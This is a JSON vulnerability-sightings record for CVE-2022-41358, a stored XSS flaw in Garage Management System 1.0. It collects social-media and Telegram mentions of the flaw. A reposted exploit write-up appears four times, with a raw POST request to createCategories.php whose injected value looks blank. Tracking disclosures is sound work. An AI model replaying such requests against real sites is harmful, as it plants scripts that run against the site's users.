{"vulnerability": "CVE-2022-41358", "sightings": [{"uuid": "22ce1b79-fed1-494d-9d82-8e7a5788cd80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-41358", "type": "seen", "source": "https://bsky.app/profile/nimblenerd.social/post/3lmwbsfcyw52s", "content": "", "creation_timestamp": "2025-04-16T09:30:48.884451Z"}, {"uuid": "923f4ee9-ddc4-4233-8eb1-9d0f8674268a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-41358", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lmzyvya5m727", "content": "", "creation_timestamp": "2025-04-17T21:02:29.555243Z"}, {"uuid": "f572adca-301f-446e-bbf9-74ca77e514d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-41358", "type": "seen", "source": "https://t.me/cibsecurity/51861", "content": "\u203c CVE-2022-41358 \u203c\n\nA stored cross-site scripting (XSS) vulnerability in Garage Management System v1.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the categoriesName parameter in createCategories.php.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-10-20T07:20:47.000000Z"}, {"uuid": "00dffe6d-7a73-4e1c-8829-54a907d6ec53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-41358", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/3559", "content": "\ud83d\udc7eCVE SERVICE \ud83c\udff7#CVE\nMumber: CVE-2022-41358\nGithub: https://github.com/thecasual/CVE-2022-41358\nDescribe: \n**", "creation_timestamp": "2026-08-02T00:01:21.347880Z"}, {"uuid": "a4b74e2d-46f1-4988-bafa-55787679e10b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-41358", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/3559", "content": "\ud83d\udc7eCVE SERVICE \ud83c\udff7#CVE\nMumber: CVE-2022-41358\nGithub: https://github.com/thecasual/CVE-2022-41358\nDescribe: \n**", "creation_timestamp": "2026-08-01T01:00:05.197093Z"}, {"uuid": "6de12fcf-361c-4458-abaa-7e9fcba7c084", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-41358", "type": "seen", "source": "https://t.me/CVEhub/3559", "content": "\ud83d\udc7eCVE SERVICE \ud83c\udff7#CVE\nMumber: CVE-2022-41358\nGithub: https://github.com/thecasual/CVE-2022-41358\nDescribe: \n**", "creation_timestamp": "2026-07-29T12:00:58.268586Z"}, {"uuid": "9d22cdfc-89a0-43a0-a2c2-4243763db2df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-41358", "type": "seen", "source": "https://t.me/CVEhub/3559", "content": "\ud83d\udc7eCVE SERVICE \ud83c\udff7#CVE\nMumber: CVE-2022-41358\nGithub: https://github.com/thecasual/CVE-2022-41358\nDescribe: \n**", "creation_timestamp": "2026-07-30T00:01:37.047621Z"}, {"uuid": "f3b9045a-6e97-41d1-a9fb-9ce615e50322", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-41358", "type": "seen", "source": "https://t.me/hacking_Attack/73230", "content": "Exploit Collector\nGarage Management System 1.0 Cross Site Scripting\n\nhttps://3.bp.blogspot.com/-sRAbWielMtM/WWlvVvmDA-I/AAAAAAAAIN8/PunzJUFKKskcHl_zTOrA6xP6ETTvhbejQCLcBGAs/s1600/h46.png \nGarage Management System version 1.0 suffers from a persistent cross site scripting vulnerability.\n\nSHA-256 | afcae7081812521eaaa523ff4ed344d14f1a1dba5fe6ac30c17af09a9cfdbc41\n\nDownload\n# Exploit Title: Garage Management System 1.0 - 'categoriesName' - Stored\nXSS\n# Date: 18-09-2022\n# Exploit Author: Sam Wallace\n# Software Link:\nhttps://www.sourcecodester.com/php/15485/garage-management-system-using-phpmysql-source-code.html\n# Version: 1.0\n# Tested on: Debian\n# CVE : CVE-2022-41358\n\nSummary:\nGarage Management System utilizes client side validation to prevent XSS.\nUsing burp, a request can be modified and replayed to the server bypassing\nthis validation which creates an avenue for XSS.\n\nParameter: categoriesName\nURI: /garage/php_action/createCategories.php\n\nPOC:\nPOST /garage/php_action/createCategories.php HTTP/1.1\nHost: 10.24.0.69\nContent-Length: 367\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nOrigin: http://10.24.0.69\nContent-Type: multipart/form-data;\nboundary=----WebKitFormBoundaryqKDsN4gmatTEEkhS\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\n(KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36\nAccept:\ntext/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nReferer: http://10.24.0.69/garage/add-category.php\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nCookie: PHPSESSID=gbklvcv3vvv987636urv0gg53u\nConnection: close\n\n------WebKitFormBoundaryqKDsN4gmatTEEkhS\nContent-Disposition: form-data; name=\"categoriesName\"\n------WebKitFormBoundaryqKDsN4gmatTEEkhS\nContent-Disposition: form-data; name=\"categoriesStatus\"\n\n1\n------WebKitFormBoundaryqKDsN4gmatTEEkhS\nContent-Disposition: form-data; name=\"create\"\n------WebKitFormBoundaryqKDsN4gmatTEEkhS--\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:20.145645Z"}, {"uuid": "99b573a0-9f0e-4160-b686-05e8e006d9c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-41358", "type": "seen", "source": "https://t.me/hacking_Attack/73230", "content": "Exploit Collector\nGarage Management System 1.0 Cross Site Scripting\n\nhttps://3.bp.blogspot.com/-sRAbWielMtM/WWlvVvmDA-I/AAAAAAAAIN8/PunzJUFKKskcHl_zTOrA6xP6ETTvhbejQCLcBGAs/s1600/h46.png \nGarage Management System version 1.0 suffers from a persistent cross site scripting vulnerability.\n\nSHA-256 | afcae7081812521eaaa523ff4ed344d14f1a1dba5fe6ac30c17af09a9cfdbc41\n\nDownload\n# Exploit Title: Garage Management System 1.0 - 'categoriesName' - Stored\nXSS\n# Date: 18-09-2022\n# Exploit Author: Sam Wallace\n# Software Link:\nhttps://www.sourcecodester.com/php/15485/garage-management-system-using-phpmysql-source-code.html\n# Version: 1.0\n# Tested on: Debian\n# CVE : CVE-2022-41358\n\nSummary:\nGarage Management System utilizes client side validation to prevent XSS.\nUsing burp, a request can be modified and replayed to the server bypassing\nthis validation which creates an avenue for XSS.\n\nParameter: categoriesName\nURI: /garage/php_action/createCategories.php\n\nPOC:\nPOST /garage/php_action/createCategories.php HTTP/1.1\nHost: 10.24.0.69\nContent-Length: 367\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nOrigin: http://10.24.0.69\nContent-Type: multipart/form-data;\nboundary=----WebKitFormBoundaryqKDsN4gmatTEEkhS\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\n(KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36\nAccept:\ntext/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nReferer: http://10.24.0.69/garage/add-category.php\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nCookie: PHPSESSID=gbklvcv3vvv987636urv0gg53u\nConnection: close\n\n------WebKitFormBoundaryqKDsN4gmatTEEkhS\nContent-Disposition: form-data; name=\"categoriesName\"\n------WebKitFormBoundaryqKDsN4gmatTEEkhS\nContent-Disposition: form-data; name=\"categoriesStatus\"\n\n1\n------WebKitFormBoundaryqKDsN4gmatTEEkhS\nContent-Disposition: form-data; name=\"create\"\n------WebKitFormBoundaryqKDsN4gmatTEEkhS--\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:01:34.970526Z"}, {"uuid": "7af647b8-ede7-4172-b24d-e3f45d4a71bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-41358", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/73230", "content": "Exploit Collector\nGarage Management System 1.0 Cross Site Scripting\n\nhttps://3.bp.blogspot.com/-sRAbWielMtM/WWlvVvmDA-I/AAAAAAAAIN8/PunzJUFKKskcHl_zTOrA6xP6ETTvhbejQCLcBGAs/s1600/h46.png \nGarage Management System version 1.0 suffers from a persistent cross site scripting vulnerability.\n\nSHA-256 | afcae7081812521eaaa523ff4ed344d14f1a1dba5fe6ac30c17af09a9cfdbc41\n\nDownload\n# Exploit Title: Garage Management System 1.0 - 'categoriesName' - Stored\nXSS\n# Date: 18-09-2022\n# Exploit Author: Sam Wallace\n# Software Link:\nhttps://www.sourcecodester.com/php/15485/garage-management-system-using-phpmysql-source-code.html\n# Version: 1.0\n# Tested on: Debian\n# CVE : CVE-2022-41358\n\nSummary:\nGarage Management System utilizes client side validation to prevent XSS.\nUsing burp, a request can be modified and replayed to the server bypassing\nthis validation which creates an avenue for XSS.\n\nParameter: categoriesName\nURI: /garage/php_action/createCategories.php\n\nPOC:\nPOST /garage/php_action/createCategories.php HTTP/1.1\nHost: 10.24.0.69\nContent-Length: 367\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nOrigin: http://10.24.0.69\nContent-Type: multipart/form-data;\nboundary=----WebKitFormBoundaryqKDsN4gmatTEEkhS\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\n(KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36\nAccept:\ntext/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nReferer: http://10.24.0.69/garage/add-category.php\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nCookie: PHPSESSID=gbklvcv3vvv987636urv0gg53u\nConnection: close\n\n------WebKitFormBoundaryqKDsN4gmatTEEkhS\nContent-Disposition: form-data; name=\"categoriesName\"\n------WebKitFormBoundaryqKDsN4gmatTEEkhS\nContent-Disposition: form-data; name=\"categoriesStatus\"\n\n1\n------WebKitFormBoundaryqKDsN4gmatTEEkhS\nContent-Disposition: form-data; name=\"create\"\n------WebKitFormBoundaryqKDsN4gmatTEEkhS--\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-05T06:00:05.994729Z"}, {"uuid": "44e45c32-0618-4714-8d33-13c885d8862a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-41358", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/73230", "content": "Exploit Collector\nGarage Management System 1.0 Cross Site Scripting\n\nhttps://3.bp.blogspot.com/-sRAbWielMtM/WWlvVvmDA-I/AAAAAAAAIN8/PunzJUFKKskcHl_zTOrA6xP6ETTvhbejQCLcBGAs/s1600/h46.png \nGarage Management System version 1.0 suffers from a persistent cross site scripting vulnerability.\n\nSHA-256 | afcae7081812521eaaa523ff4ed344d14f1a1dba5fe6ac30c17af09a9cfdbc41\n\nDownload\n# Exploit Title: Garage Management System 1.0 - 'categoriesName' - Stored\nXSS\n# Date: 18-09-2022\n# Exploit Author: Sam Wallace\n# Software Link:\nhttps://www.sourcecodester.com/php/15485/garage-management-system-using-phpmysql-source-code.html\n# Version: 1.0\n# Tested on: Debian\n# CVE : CVE-2022-41358\n\nSummary:\nGarage Management System utilizes client side validation to prevent XSS.\nUsing burp, a request can be modified and replayed to the server bypassing\nthis validation which creates an avenue for XSS.\n\nParameter: categoriesName\nURI: /garage/php_action/createCategories.php\n\nPOC:\nPOST /garage/php_action/createCategories.php HTTP/1.1\nHost: 10.24.0.69\nContent-Length: 367\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nOrigin: http://10.24.0.69\nContent-Type: multipart/form-data;\nboundary=----WebKitFormBoundaryqKDsN4gmatTEEkhS\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\n(KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36\nAccept:\ntext/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nReferer: http://10.24.0.69/garage/add-category.php\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nCookie: PHPSESSID=gbklvcv3vvv987636urv0gg53u\nConnection: close\n\n------WebKitFormBoundaryqKDsN4gmatTEEkhS\nContent-Disposition: form-data; name=\"categoriesName\"\n------WebKitFormBoundaryqKDsN4gmatTEEkhS\nContent-Disposition: form-data; name=\"categoriesStatus\"\n\n1\n------WebKitFormBoundaryqKDsN4gmatTEEkhS\nContent-Disposition: form-data; name=\"create\"\n------WebKitFormBoundaryqKDsN4gmatTEEkhS--\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-06T00:00:56.261433Z"}]}